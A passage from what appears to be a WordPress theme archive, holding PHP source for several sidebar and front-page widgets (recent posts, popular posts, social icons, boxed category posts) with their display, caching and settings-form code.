					<option ' . selected( $tab, 6 ) .' value="6">'. __('Popular Posts', 'pmthemes') . '</option>
					<option ' . selected( $tab, 7 ) .' value="7">'. __('Recent Comments', 'pmthemes') . '</option>
					<option ' . selected( $tab, 8 ) .' value="8">'. __('Recent Posts', 'pmthemes') . '</option>
					<option ' . selected( $tab, 9 ) .' value="9">'. __('Tag Cloud', 'pmthemes') . '</option>';
		return $options;
	}
	function form( $instance ) {
		$title = isset($instance['title']) ? esc_attr($instance['title']) : '';

		$tab_one_title = isset($instance['tab_one_title']) ? esc_attr($instance['tab_one_title']) : '';
		$tab_two_title = isset($instance['tab_two_title']) ? esc_attr($instance['tab_two_title']) : '';
		$tab_three_title = isset($instance['tab_three_title']) ? esc_attr($instance['tab_three_title']) : '';
		$tab_four_title = isset($instance['tab_four_title']) ? esc_attr($instance['tab_four_title']) : '';

		$current_tab_one_content = isset($instance['tab_one_content']) ? (int)$instance['tab_one_content'] : 0;
		$current_tab_two_content = isset($instance['tab_two_content']) ? (int)$instance['tab_two_content'] : 0;
		$current_tab_three_content = isset($instance['tab_three_content']) ? (int)$instance['tab_three_content'] : 0;
		$current_tab_four_content = isset($instance['tab_four_content']) ? (int)$instance['tab_four_content'] : 0;

		$number = isset($instance['number']) ? absint($instance['number']) : 7;
		$thumbnails = (isset($instance['thumbnails']) and $instance['thumbnails'] == 1) ? 'checked="checked"' : '';
		$postmeta = (isset($instance['postmeta']) and $instance['postmeta'] == 1) ? 'checked="checked"' : '';
?>
		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>

		<div style="background: #f5f5f5; padding: 5px 10px; margin-bottom: 10px;">
			<p><label for="<?php echo $this->get_field_id('tab_one_content'); ?>"><strong><?php _e('Tab 1:', 'pmthemes') ?></strong></label>
				<select id='<?php echo $this->get_field_id('tab_one_content'); ?>' name='<?php echo $this->get_field_name('tab_one_content'); ?>'>
					<?php echo $this->widget_select_options($current_tab_one_content); ?>
				</select>
				<label for="<?php echo $this->get_field_id('tab_one_title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
				<input id="<?php echo $this->get_field_id('tab_one_title'); ?>" name="<?php echo $this->get_field_name('tab_one_title'); ?>" type="text" value="<?php echo $tab_one_title; ?>" /></p>
			</p>

			<p><label for="<?php echo $this->get_field_id('tab_one_content'); ?>"><strong><?php _e('Tab 2:', 'pmthemes') ?></strong></label>
				<select id='<?php echo $this->get_field_id('tab_two_content'); ?>' name='<?php echo $this->get_field_name('tab_two_content'); ?>'>
					<?php echo $this->widget_select_options($current_tab_two_content); ?>
				</select>
				<label for="<?php echo $this->get_field_id('tab_two_title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
				<input id="<?php echo $this->get_field_id('tab_two_title'); ?>" name="<?php echo $this->get_field_name('tab_two_title'); ?>" type="text" value="<?php echo $tab_two_title; ?>" /></p>
			</p>

			<p><label for="<?php echo $this->get_field_id('tab_one_content'); ?>"><strong><?php _e('Tab 3:', 'pmthemes') ?></strong></label>
				<select id='<?php echo $this->get_field_id('tab_three_content'); ?>' name='<?php echo $this->get_field_name('tab_three_content'); ?>'>
					<?php echo $this->widget_select_options($current_tab_three_content); ?>
				</select>
				<label for="<?php echo $this->get_field_id('tab_three_title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
				<input id="<?php echo $this->get_field_id('tab_three_title'); ?>" name="<?php echo $this->get_field_name('tab_three_title'); ?>" type="text" value="<?php echo $tab_three_title; ?>" /></p>
			</p>

			<p><label for="<?php echo $this->get_field_id('tab_one_content'); ?>"><strong><?php _e('Tab 4:', 'pmthemes') ?></strong></label>
				<select id='<?php echo $this->get_field_id('tab_four_content'); ?>' name='<?php echo $this->get_field_name('tab_four_content'); ?>'>
					<?php echo $this->widget_select_options($current_tab_four_content); ?>
				</select>
				<label for="<?php echo $this->get_field_id('tab_four_title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
				<input id="<?php echo $this->get_field_id('tab_four_title'); ?>" name="<?php echo $this->get_field_name('tab_four_title'); ?>" type="text" value="<?php echo $tab_four_title; ?>" /></p>
			</p>
		</div>

		<strong><?php _e('Settings for Recent/Popular Posts and Recent Comments', 'pmthemes'); ?></strong>
		<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of entries:', 'pmthemes'); ?></label>
		<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" />
		<input class="checkbox" type="checkbox" <?php echo $thumbnails; ?> id="<?php echo $this->get_field_id('thumbnails'); ?>" name="<?php echo $this->get_field_name('thumbnails'); ?>" />
		<label for="<?php echo $this->get_field_id('thumbnails'); ?>"><?php _e('Show Thumbnails?', 'pmthemes'); ?></label></p>
		
		<p><input class="checkbox" type="checkbox" <?php echo $postmeta; ?> id="<?php echo $this->get_field_id('postmeta'); ?>" name="<?php echo $this->get_field_name('postmeta'); ?>" />
		<label for="<?php echo $this->get_field_id('postmeta'); ?>"><?php _e('Show Postmeta(Date, Comments)?', 'pmthemes'); ?></label></p>
<?php
	}
}

?>pmgizmo/inc/widgets/recent-posts.php000064400000027274152223213640013620 0ustar00<?php
/***
 * Recent Posts Widget
 *
 * Display the latest posts from a selected category in a boxed layout. 
 *
 * @package PMThemes Widget Bundle
 */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
class Pmthemes_Recent_Posts_Widget extends WP_Widget {

	/**
	 * Widget Constructor
	 *
	 * @uses WP_Widget::__construct() Create Widget
	 * @return void
	 */
	function __construct() {

		// Setup Widget
		parent::__construct(
			'pmthemes_recent_posts', // ID
			sprintf( esc_html__( 'PM Recent Posts', 'pmthemes' ) ), // Name
			array( 
				'classname' => 'pmthemes_recent_posts', 
				'description' => esc_html__( 'For sidebar. Show recent posts with post thumbnails.', 'pmthemes' ) 
			) // Args
		);
		
		// Delete Widget Cache on certain actions
		add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
		
	}
	
	
	/**
	 * Set default settings of the widget
	 *
	 * @return array Default widget settings.
	 */
	private function default_settings() {
	
		$defaults = array(
			'title'				=> '',
			'category'			=> 0,
			'order'				=> 'date',
			'number'			=> 5,
			'excerpt_length' 	=> 0,
			'thumbnails'		=> true,
			'meta_date'			=> false,
			'meta_author'		=> false,
			'meta_comments'		=> false
		);
		
		return $defaults;
		
	}
	
	
	/**
	 * Reset widget cache object
	 *
	 * @return void
	 */
	public function delete_widget_cache() {
		
		wp_cache_delete('pmts_recent_posts', 'widget');
		
	}
	
	
	/**
	 * Returns the excerpt length in number of words
	 *
	 * @return integer $this->excerpt_length Number of Words
	 */
	function excerpt_length( $length ) {
		return $this->excerpt_length;
	}
	
	
	/**
	 * Main Function to display the widget
	 * 
	 * @uses this->render()
	 * 
	 * @param array $args Parameters from widget area created with register_sidebar()
	 * @param array $instance Settings for this widget instance
	 * @return void
	 */
	function widget( $args, $instance ) {

		$cache = array();
		
		// Get Widget Object Cache
		if ( ! $this->is_preview() ) {
			$cache = wp_cache_get( 'pmts_recent_posts', 'widget' );
		}
		if ( ! is_array( $cache ) ) {
			$cache = array();
		}

		// Display Widget from Cache if exists
		if ( isset( $cache[ $this->id ] ) ) {
			echo $cache[ $this->id ];
			return;
		}
		
		// Start Output Buffering
		ob_start();
		
		// Get Widget Settings
		$settings = wp_parse_args( $instance, $this->default_settings() );
		
		// Add Widget Title Filter
		$widget_title = apply_filters('widget_title', $settings['title'], $settings, $this->id_base);
		
		// Output
		echo $args['before_widget'];

		// Display Title
		if( !empty( $widget_title ) ) { echo $args['before_title'] . $widget_title . $args['after_title']; }; ?>
			
		<div class="widget-recent-posts widget-posts-entries">
			
			<ul class="pmts-posts-list">
				<?php echo $this->render( $settings ); ?>
			</ul>
			
		</div>
			
		<?php
		echo $args['after_widget'];
		
		// Set Cache
		if ( ! $this->is_preview() ) {
			$cache[ $this->id ] = ob_get_flush();
			wp_cache_set( 'pmts_recent_posts', $cache, 'widget' );
		} else {
			ob_end_flush();
		}
	
	}
	
	/**
	 * Display the post list
	 * 
	 * @param array $instance Settings for this widget instance
	 * @return void
	 */
	function render( $settings ) {
		// Get latest posts from database
		$query_arguments = array(
			'posts_per_page' => (int)$settings['number'],
			'ignore_sticky_posts' => true,
			'post__not_in' => array (get_the_ID()),
			'cat' => (int)$settings['category'],
			'orderby' => esc_attr($settings['order'])
		);
		$posts_query = new WP_Query($query_arguments);
		
		// Check if there are posts
		if( $posts_query->have_posts() ) :
		
			// Limit the number of words for the excerpt
			$this->excerpt_length = (int)$settings['excerpt_length'];
			add_filter('excerpt_length', array($this, 'excerpt_length') );	
			
			// Display Posts
			while( $posts_query->have_posts() ) :
				$posts_query->the_post();
                if ( true == $settings['thumbnails'] and has_post_thumbnail() ) : ?>
                    <li class="widget-thumb">
                    <div class="rp-title">
                    <a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>">
                        <?php the_post_thumbnail('widget_post_thumb'); ?>
                    </a>
                <?php else: ?>
                    <li>
                    <div class="rp-title">
                <?php endif; ?>
                    <a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>">
                        <?php if ( get_the_title() ) the_title(); else the_ID(); ?>
                    </a>
                    </div>
                <?php // Display Post Content
                if ( $settings['excerpt_length'] > 0 ) : ?>
                    <span class="pmts-excerpt"><?php the_excerpt(); ?></span>
                <?php endif;

				// Display Post Meta
				echo $this->postmeta( $settings );
				
			endwhile;
			
			// Remove excerpt filter
			remove_filter('excerpt_length', array($this, 'excerpt_length') );	
			
		endif;
		
		// Reset Postdata
		wp_reset_postdata();
		
	}

	
	/**
	 * Display post meta
	 * 
	 * @param array $instance Settings for this widget instance
	 * @return void
	 */
	function postmeta( $settings ) {
		
		// Create Post Meta Array
		$postmeta = array( $settings['meta_date'], $settings['meta_author'], $settings['meta_comments'] );
		
		// Return early if no meta is displayed
		if( in_array( true, $postmeta, true ) === false ) :
			return;
		endif;
		?>
		
		<div class="widget-postmeta">
			
		<?php // Display Date
		if ( true == $settings['meta_date'] ) : ?>
			
			<span class="widget-date"><?php the_time(get_option('date_format')); ?></span>
			
		<?php endif; ?>
		
		<?php // Display Author
		if ( true == $settings['meta_author'] ) : ?>
			<span class="widget-author">
				<?php printf('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr( sprintf( esc_html__( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
				esc_html( get_the_author() )
				);?>
			</span>
			
		<?php endif; ?>
		
		<?php // Display Comments
		if ( true == $settings['meta_comments'] and comments_open() ) : ?>
		
			<span class="widget-comment">
				<?php comments_popup_link( esc_html__( 'No comments', 'pmthemes' ), esc_html__( 'One comment','pmthemes' ), esc_html__( '% comments','pmthemes' ) ); ?>
			</span>
			
		<?php endif; ?>
		
		</div>
		
	<?php
	}
	
	
	/**
	 * Update Widget Settings
	 *
	 * @param array $new_instance Form Input for this widget instance
	 * @param array $old_instance Old Settings for this widget instance
	 * @return array $instance New widget settings
	 */
	function update( $new_instance, $old_instance ) {

		$instance = $old_instance;
		$instance['title'] = esc_attr($new_instance['title']);
		$instance['category'] = (int)$new_instance['category'];
		$instance['order'] = esc_attr($new_instance['order']);
		$instance['number'] = (int)$new_instance['number'];
		$instance['excerpt_length'] = (int)$new_instance['excerpt_length'];
		$instance['thumbnails'] = !empty($new_instance['thumbnails']);
		$instance['meta_date'] = !empty($new_instance['meta_date']);
		$instance['meta_author'] = !empty($new_instance['meta_author']);
		$instance['meta_comments'] = !empty($new_instance['meta_comments']);
		
		$this->delete_widget_cache();
		
		return $instance;
	}

	
	/**
	 * Display Widget Settings Form in the Backend
	 *
	 * @param array $instance Settings for this widget instance
	 * @return void
	 */
	function form( $instance ) {
		
		// Get Widget Settings
		$settings = wp_parse_args( $instance, $this->default_settings() );
		
		?>
		
		<p>
			<label for="<?php echo $this->get_field_id('title'); ?>"><?php esc_html_e('Title:', 'pmthemes'); ?>
				<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $settings['title']; ?>" />
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('category'); ?>"><?php esc_html_e('Select Category:', 'pmthemes'); ?></label><br/>
			<?php // Display Category Select
				$args = array(
					'show_option_all'    => esc_html__( 'All Categories', 'pmthemes' ),
					'selected'           => $settings['category'],
					'name'               => $this->get_field_name('category'),
					'id'                 => $this->get_field_id('category')
				);
				wp_dropdown_categories( $args ); 
			?>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('order'); ?>"><?php esc_html_e('Order by:', 'pmthemes'); ?></label><br/>
			<select name="<?php echo $this->get_field_name('order'); ?>" id="<?php echo $this->get_field_id('order'); ?>">
				<option <?php selected( $settings['order'], 'date' ); ?> value="date"><?php esc_html_e('Post Date', 'pmthemes'); ?></option>
				<option <?php selected( $settings['order'], 'comment_count' ); ?> value="comment_count"><?php esc_html_e('Comment Count', 'pmthemes'); ?></option>
				<option <?php selected( $settings['order'], 'rand' ); ?> value="rand"><?php esc_html_e('Random', 'pmthemes'); ?></option>
			</select>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('number'); ?>"><?php esc_html_e('Number of posts:', 'pmthemes'); ?>
				<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $settings['number']; ?>" size="3" />
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('excerpt_length'); ?>"><?php esc_html_e('Excerpt length in number of words:', 'pmthemes'); ?>
				<input id="<?php echo $this->get_field_id('excerpt_length'); ?>" name="<?php echo $this->get_field_name('excerpt_length'); ?>" type="text" value="<?php echo $settings['excerpt_length']; ?>" size="5" />
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('thumbnails'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $settings['thumbnails'] ) ; ?> id="<?php echo $this->get_field_id('thumbnails'); ?>" name="<?php echo $this->get_field_name('thumbnails'); ?>" />
				<?php esc_html_e('Display post thumbnails', 'pmthemes'); ?>
			</label>
		</p>

		<p>
			<label for="<?php echo $this->get_field_id('meta_date'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $settings['meta_date'] ) ; ?> id="<?php echo $this->get_field_id('meta_date'); ?>" name="<?php echo $this->get_field_name('meta_date'); ?>" />
				<?php esc_html_e('Display post date', 'pmthemes'); ?>
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('meta_author'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $settings['meta_author'] ) ; ?> id="<?php echo $this->get_field_id('meta_author'); ?>" name="<?php echo $this->get_field_name('meta_author'); ?>" />
				<?php esc_html_e('Display post author', 'pmthemes'); ?>
			</label>
		</p>
		
		<p>
			<label for="<?php echo $this->get_field_id('meta_comments'); ?>">
				<input class="checkbox" type="checkbox" <?php checked( $settings['meta_comments'] ) ; ?> id="<?php echo $this->get_field_id('meta_comments'); ?>" name="<?php echo $this->get_field_name('meta_comments'); ?>" />
				<?php esc_html_e('Display post comments', 'pmthemes'); ?>
			</label>
		</p>

		<?php
	}
	
}pmgizmo/inc/widgets/social-icons.php000064400000004321152223213640013541 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Social Icons Widget
class Pmthemes_Social_Icons_Widget extends WP_Widget {

	function __construct() {
		
		// Setup Widget
		parent::__construct(
			'pmthemes_social_icons', // ID
			sprintf( esc_html__( 'PM Social Icons', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_social_icons', 
				'description' => esc_html__( 'For sidebar. Displays Social Icons.', 'pmthemes' ) 
			) // Args
		);
	}

	function widget($args, $instance) {

		$cache = wp_cache_get('widget_pmthemes_social_icons', 'widget');

		if ( !is_array($cache) )
			$cache = array();

		if ( ! isset( $args['widget_id'] ) )
			$args['widget_id'] = $this->id;

		if ( isset( $cache[ $args['widget_id'] ] ) ) {
			echo $cache[ $args['widget_id'] ];
			return;
		}

		ob_start();
		extract($args);

		$title = apply_filters('widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this->id_base);

		// Output
		echo $before_widget;
		if ( !empty( $title ) ) { echo $before_title . $title . $after_title; };
	?>
		<div class="widget-social-icons social-icons-wrap clearfix">

			<?php pmthemes_display_social_icons(); ?>

		</div>
	<?php
		echo $after_widget;

		$cache[$args['widget_id']] = ob_get_flush();
		wp_cache_set('widget_pmthemes_social_icons', $cache, 'widget');
	}

	function update($new_instance, $old_instance) {

		$instance = $old_instance;
		$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';

		$this->flush_widget_cache();

		return $instance;
	}

	function flush_widget_cache() {
		wp_cache_delete('widget_pmthemes_social_icons', 'widget');
	}

	function form($instance) {
		$instance = wp_parse_args( (array) $instance, array( 'title' => '' ) );
		$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
	?>
		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?> <input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo esc_attr($title); ?>" /></label></p>
	<?php
	}
}

?>pmgizmo/inc/widgets/popular-posts.php000064400000014351152223213640014012 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Popular Posts Widget
class Pmthemes_Popular_Posts_Widget extends WP_Widget {

	var $excerpt_length = 10;

	function __construct() {
		// Setup Widget
		parent::__construct(
			'pmthemes_popular_posts', // ID
			sprintf( esc_html__( 'PM Popular Posts', 'pmthemes' ) ), // Name
			array( 
				'classname' => 'pmthemes_popular_posts', 
				'description' => esc_html__( 'For sidebar. Show popular posts with post thumbnails.', 'pmthemes' ) 
			) // Args
		);

		add_action( 'save_post', array(&$this, 'flush_widget_cache') );
		add_action( 'deleted_post', array(&$this, 'flush_widget_cache') );
		add_action( 'switch_theme', array(&$this, 'flush_widget_cache') );
	}

	function widget($args, $instance) {
		$cache = wp_cache_get('widget_pmthemes_popular_posts', 'widget');

		if ( !is_array($cache) )
			$cache = array();

		if ( ! isset( $args['widget_id'] ) )
			$args['widget_id'] = $this->id;

		if ( isset( $cache[ $args['widget_id'] ] ) ) {
			echo $cache[ $args['widget_id'] ];
			return;
		}

		ob_start();
		extract($args);

		$title = apply_filters('widget_title', empty($instance['title']) ? '' : $instance['title'], $instance, $this->id_base);

		if ( empty( $instance['number'] ) || ! $number = absint( $instance['number'] ) )
 			$number = 10;

		$thumbs = (int)$instance['thumbnails'];
		$excerpt_length = empty( $instance['excerpt_length'] ) ? 0 : $instance['excerpt_length'];
		$postmeta = (int)$instance['postmeta'];

		// Change Excerpt Length
		$this->excerpt_length = $excerpt_length;
		add_filter('excerpt_length', array(&$this, 'widget_excerpt_length'));

		$r = new WP_Query( apply_filters( 'pmthemes_widget_popular_posts_args', array( 'posts_per_page' => $number, 'orderby' => 'comment_count', 'order' => 'DESC', 'no_found_rows' => true, 'post_status' => 'publish', 'ignore_sticky_posts' => true ) ) );

		if ($r->have_posts()) :
?>
		<?php echo $before_widget; ?>
		<?php if ( $title ) echo $before_title . $title . $after_title; ?>

		<div class="widget-popular-posts widget-posts-entries">
			<ul>
			<?php  while ($r->have_posts()) : $r->the_post(); ?>
				<?php if ( $thumbs == 1 ) : ?>
				<li class="widget-thumb"><a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php the_post_thumbnail('widget_post_thumb'); ?></a>
				<?php else: ?>
				<li>
				<?php endif; ?>
				<a href="<?php the_permalink() ?>" title="<?php echo esc_attr(get_the_title() ? get_the_title() : get_the_ID()); ?>"><?php if ( get_the_title() ) the_title(); else the_ID(); ?></a>

				<?php
				if ( $excerpt_length > 0 ) :
					the_excerpt();
				endif;

				if ( $postmeta == 1 ) : ?>
					<div class="widget-postmeta">
						<span class="widget-date"><?php the_time(get_option('date_format')); ?></span>
						<span class="widget-comment"><a href="<?php the_permalink() ?>#comments"><?php comments_number(__('No comments', 'pmthemes'),__('One comment','pmthemes'),__('% comments','pmthemes')); ?></a></span>
					</div>
				<?php endif; ?>
			</li>
			<?php endwhile; ?>
			</ul>
		</div>
		<?php echo $after_widget; ?>
<?php
		// Reset the global $the_post as this query will have stomped on it
		wp_reset_postdata();

		endif;

		// Remove Excerpt Filter
		remove_filter('excerpt_length',  array(&$this, 'widget_excerpt_length'));

		$cache[$args['widget_id']] = ob_get_flush();
		wp_cache_set('widget_pmthemes_popular_posts', $cache, 'widget');
	}

	function update( $new_instance, $old_instance ) {
		$instance = $old_instance;
		$instance['title'] = isset($new_instance['title']) ? esc_attr($new_instance['title']) : '';
		$instance['number'] = (int) $new_instance['number'];
		$instance['thumbnails'] = $new_instance['thumbnails'] ? 1 : 0;
		$instance['excerpt_length'] = (int) $new_instance['excerpt_length'];
		$instance['postmeta'] = $new_instance['postmeta'] ? 1 : 0;

		$this->flush_widget_cache();

		return $instance;
	}

	function widget_excerpt_length($length) {
		return $this->excerpt_length;
	}

	function flush_widget_cache() {
		wp_cache_delete('widget_pmthemes_popular_posts', 'widget');
	}

	function form( $instance ) {
		$title = isset($instance['title']) ? esc_attr($instance['title']) : '';
		$number = isset($instance['number']) ? absint($instance['number']) : 5;
		$thumbnails = (isset($instance['thumbnails']) and $instance['thumbnails'] == 1) ? 'checked="checked"' : '';
		$excerpt_length = isset($instance['excerpt_length']) ? absint($instance['excerpt_length']) : 10;
		$postmeta = (isset($instance['postmeta']) and $instance['postmeta'] == 1) ? 'checked="checked"' : '';
?>
		<p><label for="<?php echo $this->get_field_id('title'); ?>"><?php _e('Title:', 'pmthemes'); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id('title'); ?>" name="<?php echo $this->get_field_name('title'); ?>" type="text" value="<?php echo $title; ?>" /></p>

		<p><label for="<?php echo $this->get_field_id('number'); ?>"><?php _e('Number of posts to show:', 'pmthemes'); ?></label>
		<input id="<?php echo $this->get_field_id('number'); ?>" name="<?php echo $this->get_field_name('number'); ?>" type="text" value="<?php echo $number; ?>" size="3" /></p>

		<p><input class="checkbox" type="checkbox" <?php echo $thumbnails; ?> id="<?php echo $this->get_field_id('thumbnails'); ?>" name="<?php echo $this->get_field_name('thumbnails'); ?>" />
		<label for="<?php echo $this->get_field_id('thumbnails'); ?>"><?php _e('Show Post Thumbnails?', 'pmthemes'); ?></label></p>

		<p><label for="<?php echo $this->get_field_id('excerpt_length'); ?>"><?php _e('Excerpt length in number of words:', 'pmthemes'); ?></label>
		<input class="widefat" id="<?php echo $this->get_field_id('excerpt_length'); ?>" name="<?php echo $this->get_field_name('excerpt_length'); ?>" type="text" value="<?php echo $excerpt_length; ?>" /></p>

		<p><input class="checkbox" type="checkbox" <?php echo $postmeta; ?> id="<?php echo $this->get_field_id('postmeta'); ?>" name="<?php echo $this->get_field_name('postmeta'); ?>" />
		<label for="<?php echo $this->get_field_id('postmeta'); ?>"><?php _e('Show Postmeta(Date, Comments)?', 'pmthemes'); ?></label></p>
<?php
	}
}

?>pmgizmo/inc/widgets/posts-boxed.php000064400000021532152223213640013430 0ustar00<?php
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
// Add Category Posts Boxed Widget
class Pmthemes_Category_Posts_Boxed_Widget extends WP_Widget {

	function __construct() {
		// Setup Widget
		parent::__construct(
			'pmthemes_category_posts_boxed', // ID
			sprintf( esc_html__( 'PM Home Posts Boxed', 'pmthemes' )), // Name
			array( 
				'classname' => 'pmthemes_category_posts_boxed', 
				'description' => esc_html__( 'For magazine front page. Display posts in boxed layout. Can show 4 posts only.', 'pmthemes' ) 
			) // Args
		);
		
		// Delete Widget Cache on certain actions
		add_action( 'save_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'deleted_post', array( $this, 'delete_widget_cache' ) );
		add_action( 'switch_theme', array( $this, 'delete_widget_cache' ) );
		
	}

	public function delete_widget_cache() {
		
		wp_cache_delete('widget_pmthemes_category_posts_boxed', 'widget');
		
	}
	
	private function default_settings() {
	
		$defaults = array(
			'title'				=> '',
			'category'			=> 0,
			'category_link'		=> false
		);
		
		return $defaults;
		
	}
	
	// Display Widget
	function widget($args, $instance) {

		$cache = array();
				
		// Get Widget Object Cache
		if ( ! $this->is_preview() ) {
			$cache = wp_cache_get( 'widget_pmthemes_category_posts_boxed', 'widget' );
		}
		if ( ! is_array( $cache ) ) {
			$cache = array();
		}

		// Display Widget from Cache if exists
		if ( isset( $cache[ $this->id ] ) ) {
			echo $cache[ $this->id ];
			return;
		}
		
		// Start Output Buffering
		ob_start();
			
		// Extract Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Output
		echo $before_widget;
	?>
		<div id="widget-category-posts-boxed" class="widget-category-posts clearfix">

			<?php // Display Title
			$this->display_widget_title($args, $instance); ?>
			
			<div class="widget-category-posts-content">
			
				<?php $this->render($instance); ?>
				
			</div>
			
		</div>
	<?php
		echo $after_widget;
		
		// Set Cache
		if ( ! $this->is_preview() ) {
			$cache[ $this->id ] = ob_get_flush();
			wp_cache_set( 'widget_pmthemes_category_posts_boxed', $cache, 'widget' );
		} else {
			ob_end_flush();
		}
	
	}
	
	// Render Widget Content
	function render($instance) {
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Get latest posts from database
		$query_arguments = array(
			'posts_per_page' => 4,
			'ignore_sticky_posts' => true,
			'cat' => (int)$category
		);
		$posts_query = new WP_Query($query_arguments);
		$i = 0;

		// Check if there are posts
		if( $posts_query->have_posts() ) :

			// Display Posts
			while( $posts_query->have_posts() ) :
				
				$posts_query->the_post(); 
				
				if(isset($i) and $i == 0) : ?>

					<article id="post-<?php the_ID(); ?>" <?php post_class('first-post big-post'); ?>>

						<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('category_posts_wide_thumb', array('class' => 'grow')); ?></a>

						<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>

						<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>

						<div class="entry">
							<?php add_filter('excerpt_length', 'pmthemes_postsbox_first_excerpt_length'); the_excerpt(); ?>
						</div>

					</article>

				<div class="small-posts more-posts clearfix">

				<?php else: ?>

					<article id="post-<?php the_ID(); ?>" <?php post_class('small-post clearfix'); ?>>

					<?php if ( '' != get_the_post_thumbnail() ) : ?>
						<a href="<?php the_permalink() ?>" rel="bookmark"><?php the_post_thumbnail('widget_post_thumb', array('class' => 'grow')); ?></a>
					<?php endif; ?>

						<div class="small-post-content">
							<h2 class="post-title"><a href="<?php the_permalink() ?>" rel="bookmark"><?php the_title(); ?></a></h2>
							<div class="postmeta"><?php $this->display_postmeta($instance); ?></div>
						</div>
						<div class="entry">
							<?php add_filter('excerpt_length', 'pmthemes_postsbox_excerpt_length'); the_excerpt(); ?>
						</div>
					</article>

				<?php
				endif; $i++;
				
			endwhile; ?>
			
				</div><!-- end .small-posts -->
				
			<?php
			// Remove excerpt filter
			remove_filter('excerpt_length', 'pmthemes_postsbox_first_excerpt_length');
			remove_filter('excerpt_length', 'pmthemes_postsbox_excerpt_length');
			
		endif;
		
		// Reset Postdata
		wp_reset_postdata();

	}
	
	// Display Postmeta
	function display_postmeta($instance) { ?>
	<?php 
	$theme_options = pmthemes_theme_options();
	if ( isset($theme_options['show_post_dates']) and $theme_options['show_post_dates'] == true ) : ?>
		<span class="meta-date">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="bookmark"><time datetime="%3$s">%4$s</time></a>', 'pmthemes'), 
				esc_url( get_permalink() ),
				esc_attr( get_the_time() ),
				esc_attr( get_the_date( 'c' ) ),
				esc_html( get_the_date() )
			);
		?>
		</span>
		<span class="meta-author">
		<?php printf(__('<a href="%1$s" title="%2$s" rel="author">%3$s</a>', 'pmthemes'), 
				esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
				esc_attr( sprintf( esc_html__( 'View all posts by %s', 'pmthemes' ), get_the_author() ) ),
				esc_html( get_the_author() )
			);
		?>
		</span>
	<?php endif;

	}
	
	// Display Widget Title
	function display_widget_title($args, $instance) {
		
		// Get Sidebar Arguments
		extract($args);
		
		// Get Widget Settings
		$defaults = $this->default_settings();
		extract( wp_parse_args( $instance, $defaults ) );
		
		// Add Widget Title Filter
		$widget_title = apply_filters('widget_title', $title, $instance, $this->id_base);
		
		if( !empty( $widget_title ) ) :
		
			echo $before_title;
			
			// Link Category Title
			if( $category_link == true ) : 
			
				// Check if "All Categories" is selected
				if( $category == 0 ) :
				
					$link_title = __('View all posts', 'pmthemes');
					
					// Set Link URL to always point to latest posts page
					if ( get_option( 'show_on_front' ) == 'page' ) :
						$link_url = esc_url( get_permalink( get_option('page_for_posts' ) ) );
					else : 
						$link_url =	esc_url( home_url('/') );
					endif;
					
				else :
					
					// Set Link URL and Title for Category
					$link_title = sprintf( __('View all posts from category %s', 'pmthemes'), get_cat_name( $category ) );
					$link_url = esc_url( get_category_link( $category ) );
					
				endif;
				
				// Display linked Widget Title
